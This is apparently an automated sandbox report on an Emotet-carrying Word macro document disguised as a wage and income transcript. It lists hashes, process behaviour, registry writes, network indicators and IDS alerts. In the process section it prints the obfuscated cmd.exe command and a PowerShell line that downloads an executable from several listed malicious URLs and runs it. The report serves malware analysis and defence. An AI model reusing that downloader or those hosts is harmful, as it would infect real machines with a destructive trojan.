download:

Wage-and-Income-Transcript

Full analysis: https://app.any.run/tasks/c8c0f3ee-2296-485b-9c35-902f8237af78
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: December 06, 2018, 16:49:28
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
loader
emotet
feodo
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Dec 6 13:30:00 2018, Last Saved Time/Date: Thu Dec 6 13:30:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

7E2E1049AB74B28691B6F42AD696D24F

SHA1:

F675AC83563AED2D1ABA8BF6271B4C05239C4DB9

SHA256:

A41EE09442315094717748549CEF33883FC9E88900757619EACBDE1F69F9A4FA

SSDEEP:

1536:N81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadf+a96nDfPsPwSvURabL:N8GhDS0o9zTGOZD6EbzCdgDfPsIaH

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  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 3484)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 3484)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3076)
    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 2884)
    • Application was dropped or rewritten from another process

      • 235.exe (PID: 4092)
      • 235.exe (PID: 2948)
      • archivesymbol.exe (PID: 2608)
      • archivesymbol.exe (PID: 3212)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2884)
    • Changes the autorun value in the registry

      • archivesymbol.exe (PID: 3212)
    • EMOTET was detected

      • archivesymbol.exe (PID: 3212)
    • Connects to CnC server

      • archivesymbol.exe (PID: 3212)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2540)
    • Creates files in the user directory

      • powershell.exe (PID: 2884)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2884)
      • 235.exe (PID: 2948)
    • Starts itself from another location

      • 235.exe (PID: 2948)
    • Application launched itself

      • archivesymbol.exe (PID: 2608)
    • Connects to unusual port

      • archivesymbol.exe (PID: 3212)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3484)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 3484)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:06 13:30:00
ModifyDate: 2018:12:06 13:30:00
Pages: 1
Words: 2
Characters: 13
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 14
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
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Total processes
39
Monitored processes
8
Malicious processes
6
Suspicious processes
2

Behavior graph

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start drop and start drop and start winword.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe 235.exe no specs 235.exe archivesymbol.exe no specs #EMOTET archivesymbol.exe

Process information

PID
CMD
Path
Indicators
Parent process
2540c:\tUncDEpsQNmuGG\ristSbTd\vlnUPFqZAphRN\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!"" c:\windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2608"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe235.exe
User:
admin
Company:
Nexon Corp.
Integrity Level:
MEDIUM
Description:
Softpub Specialer DLL
Exit code:
0
Version:
6.1.7600.1
Modules
Images
c:\users\admin\appdata\local\archivesymbol\archivesymbol.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
2884powershell.exe "$oNh='kRV';$qzi=new-object Net.WebClient;$TvV='http://aspiringfilms.com/lJc7Qpx@http://kelvinnikkel.com/HgR@http://dayofdisconnect.com/O5Le4@http://joynt.net/PVP9Pn@http://craftww.pl//I1Db12jC'.Split('@');$MwH='WUs';$Yuk = '235';$fwH='wMQ';$zAE=$env:temp+'\'+$Yuk+'.exe';foreach($UQF in $TvV){try{$qzi.DownloadFile($UQF, $zAE);$PwR='tQB';If ((Get-Item $zAE).length -ge 80000) {Invoke-Item $zAE;$Sdd='ckC';break;}}catch{}}$VtW='IHf';"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
2948"C:\Users\admin\AppData\Local\Temp\235.exe"C:\Users\admin\AppData\Local\Temp\235.exe
235.exe
User:
admin
Company:
Nexon Corp.
Integrity Level:
MEDIUM
Description:
Softpub Specialer DLL
Exit code:
0
Version:
6.1.7600.1
Modules
Images
c:\users\admin\appdata\local\temp\235.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
3076CmD /V:O/C"set 9HMF=qPwfvuhPEpGpIRJRO0)W4B-YH$gN2/yanc{}13.Lb',D7T +sdkQiUjx@(\C:=;r8FzmlMeVt9oS5A&&for %u in (25,74,27,6,61,41,50,15,71,41,62,25,0,66,52,61,32,70,2,22,74,40,54,70,33,72,46,27,70,72,38,19,70,40,59,68,52,70,32,72,62,25,45,4,71,61,41,6,72,72,11,60,29,29,31,48,11,52,63,52,32,26,3,52,68,67,48,38,33,74,67,29,68,14,33,44,51,11,55,56,6,72,72,11,60,29,29,50,70,68,4,52,32,32,52,50,50,70,68,38,33,74,67,29,24,26,15,56,6,72,72,11,60,29,29,49,31,30,74,3,49,52,48,33,74,32,32,70,33,72,38,33,74,67,29,16,76,39,70,20,56,6,72,72,11,60,29,29,54,74,30,32,72,38,32,70,72,29,7,71,7,73,7,32,56,6,72,72,11,60,29,29,33,63,31,3,72,2,2,38,11,68,29,29,12,36,43,40,36,28,54,59,41,38,75,11,68,52,72,57,41,56,41,18,62,25,69,2,24,61,41,19,53,48,41,62,25,23,5,50,46,61,46,41,28,37,76,41,62,25,3,2,24,61,41,2,69,51,41,62,25,66,77,8,61,25,70,32,4,60,72,70,67,11,47,41,58,41,47,25,23,5,50,47,41,38,70,55,70,41,62,3,74,63,70,31,33,6,57,25,53,51,65,46,52,32,46,25,45,4,71,18,34,72,63,30,34,25,0,66,52,38,43,74,2,32,68,74,31,49,65,52,68,70,57,25,53,51,65,42,46,25,66,77,8,18,62,25,7,2,15,61,41,72,51,21,41,62,12,3,46,57,57,10,70,72,22,12,72,70,67,46,25,66,77,8,18,38,68,70,32,26,72,6,46,22,26,70,46,64,17,17,17,17,18,46,34,12,32,4,74,50,70,22,12,72,70,67,46,25,66,77,8,62,25,75,49,49,61,41,33,50,59,41,62,40,63,70,31,50,62,35,35,33,31,72,33,6,34,35,35,25,71,72,19,61,41,12,24,3,41,62,84)do set edF8=!edF8!!9HMF:~%u,1!&&if %u gtr 83 powershell.exe "!edF8:~6!""C:\Windows\system32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3212"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe"C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe
archivesymbol.exe
User:
admin
Company:
Nexon Corp.
Integrity Level:
MEDIUM
Description:
Softpub Specialer DLL
Exit code:
0
Version:
6.1.7600.1
Modules
Images
c:\users\admin\appdata\local\archivesymbol\archivesymbol.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
3484"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Wage-and-Income-Transcript.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
4092"C:\Users\admin\AppData\Local\Temp\235.exe" C:\Users\admin\AppData\Local\Temp\235.exepowershell.exe
User:
admin
Company:
Nexon Corp.
Integrity Level:
MEDIUM
Description:
Softpub Specialer DLL
Exit code:
0
Version:
6.1.7600.1
Modules
Images
c:\users\admin\appdata\local\temp\235.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\crypt32.dll
Total events
1 680
Read events
1 265
Write events
410
Delete events
5

Modification events

(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:ke!
Value:
6B6521009C0D0000010000000000000000000000
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3484) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1300627479
(PID) Process:(3484) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1300627600
(PID) Process:(3484) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1300627601
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
9C0D000006F6B0B1838DD40100000000
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:tf!
Value:
746621009C0D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:tf!
Value:
746621009C0D000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(3484) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
2
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
3484WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA55B.tmp.cvr
MD5:
SHA256:
2884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UR1L4ABANYMZ2UDORRMF.temp
MD5:
SHA256:
3484WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ge-and-Income-Transcript.docpgc
MD5:
SHA256:
2884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13b038.TMPbinary
MD5:
SHA256:
2884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
3484WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
2884powershell.exeC:\Users\admin\AppData\Local\Temp\235.exeexecutable
MD5:
SHA256:
2948235.exeC:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exeexecutable
MD5:
SHA256:
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HTTP(S) requests
3
TCP/UDP connections
2
DNS requests
1
Threats
7

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3212
archivesymbol.exe
GET
200
189.223.176.239:7080
http://189.223.176.239:7080/
MX
binary
132 b
malicious
2884
powershell.exe
GET
200
67.225.182.246:80
http://aspiringfilms.com/lJc7Qpx/
US
executable
120 Kb
malicious
2884
powershell.exe
GET
301
67.225.182.246:80
http://aspiringfilms.com/lJc7Qpx
US
html
241 b
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2884
powershell.exe
67.225.182.246:80
aspiringfilms.com
Liquid Web, L.L.C
US
malicious
3212
archivesymbol.exe
189.223.176.239:7080
Uninet S.A. de C.V.
MX
malicious

DNS requests

Domain
IP
Reputation
aspiringfilms.com
  • 67.225.182.246
malicious

Threats

PID
Process
Class
Message
2884
powershell.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Suspicious loader with tiny header
2884
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2884
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2884
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3212
archivesymbol.exe
A Network Trojan was detected
SC SPYWARE Spyware Emotet Win32
3212
archivesymbol.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo HTTP request
1 ETPRO signatures available at the full report
No debug info